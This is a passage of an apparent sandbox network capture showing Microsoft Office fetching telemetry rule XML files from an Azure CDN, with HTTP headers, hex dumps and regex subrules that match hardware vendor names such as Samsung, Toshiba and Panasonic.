encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	56379	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:47 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:47 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: db42c49d-901e-007b-4a2f-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181247Z-178bfbc474b9fdhphC1NYCac0n000000066000000000eckw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:48 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	56382	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:49 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181249Z-178bfbc474bnwsh4hC1NYC2ubs00000006a000000000g827 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	56381	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:49 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:49 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 03bcf0c5-601e-0002-337d-3da786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181249Z-15b8b599d88f9wfchC1TEBm2kc00000004tg00000000mh4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:49 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	56384	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:49 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:49 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 242b2616-d01e-0017-014e-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181249Z-15b8b599d88m7pn7hC1TEB4axw00000004s000000000g6sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:50 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	56383	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:49 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5532245b-c01e-00ad-0e6f-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181249Z-174c587ffdftjz9shC1TEBsh9800000004pg000000009rdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	56385	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:49 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:50 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181250Z-15b8b599d88tr2flhC1TEB5gk400000004z00000000052mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:50 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	56389	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:51 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:52 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a3b90170-101e-0034-5118-3d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181252Z-178bfbc474btvfdfhC1NYCa2en00000006fg000000002ege x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:52 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	56386	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:51 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:52 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181252Z-178bfbc474bq2pr7hC1NYCkfgg00000006f0000000008tkm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:52 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	56387	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:51 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:52 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: f7a7c4f9-601e-0002-0343-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181252Z-15b8b599d886w4hzhC1TEBb4ug00000004t000000000f0km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:52 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	56388	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:51 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181252Z-174c587ffdfp4vpjhC1TEBybqw00000004q000000000nhzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	56390	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:52 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:52 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181252Z-178bfbc474btvfdfhC1NYCa2en00000006eg00000000500b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:52 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	56391	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:53 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:54 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: ea4907c4-101e-0079-4064-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181254Z-174c587ffdf4zw2thC1TEBu34000000004sg00000000q0x7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:54 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 